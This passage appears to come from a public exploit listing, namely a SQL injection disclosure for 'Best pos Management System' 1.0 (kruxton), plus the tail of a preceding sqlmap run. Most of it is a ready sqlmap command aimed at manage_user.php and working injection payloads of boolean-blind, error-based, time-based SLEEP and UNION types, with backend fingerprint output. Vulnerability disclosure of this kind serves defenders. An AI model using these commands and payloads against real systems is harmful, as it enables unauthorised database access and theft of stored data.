INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=9 AND (SELECT 5871 FROM (SELECT(SLEEP(5)))rwMY) Type: UNION query Title: Generic UNION query (NULL) - 6 columns Payload: id=-9498 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7162767171,0x53586b446c4c75556d48544175547856636d696171464e624c6572736f55415246446a4b56777749,0x7178707671),NULL-- - --- [19:33:33] [INFO] the back-end DBMS is MySQL web application technology: PHP 8.0.25, Apache 2.4.54 back-end DBMS: MySQL >= 5.0 (MariaDB fork) ``` ---------------------------- # Exploit Title: SQL Injection on Best pos Management System # Google Dork: NA # Date: 17/2/2023 # Exploit Author: Ahmed Ismail (@MrOz1l) # Vendor Homepage: https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/mayuri_k/kruxton.zip # Version: 1.0 # Tested on: Windows 11 # CVE : NA _________ python sqlmap.py -u "http://localhost/kruxton/manage_user.php?id=4*" --dbms=mysql --level 3 --risk 3 --dbs --fresh-queries URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 52 HTTP(s) requests: --- Parameter: #1* (URI) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: http://localhost:80/kruxton/manage_user.php?id=4 <http://localhost/kruxton/manage_user.php?id=4> AND 6332=6332 Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: http://localhost:80/kruxton/manage_user.php?id=4 <http://localhost/kruxton/manage_user.php?id=4> OR (SELECT 6586 FROM(SELECT COUNT(*),CONCAT(0x716a6b6a71,(SELECT (ELT(6586=6586,1))),0x7170787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: http://localhost:80/kruxton/manage_user.php?id=4 <http://localhost/kruxton/manage_user.php?id=4> AND (SELECT 3605 FROM (SELECT(SLEEP(5)))zHgC) Type: UNION query Title: Generic UNION query (NULL) - 5 columns Payload: http://localhost:80/kruxton/manage_user.php?id=-1830 <http://localhost/kruxton/manage_user.php?id=-1830> UNION ALL SELECT NULL,NULL,CONCAT(0x716a6b6a71,0x4b5276534542756c4e596a4f7377506a73517a73544b4e44737946636674736c526c775277594976,0x7170787871),NULL,NULL-- - --- [10:58:18] [INFO] the back-end DBMS is MySQL web application technology: PHP, Apache 2.4.54, PHP 8.0.25 back-end DBMS: MySQL >= 5.0 (MariaDB fork) </code></pre>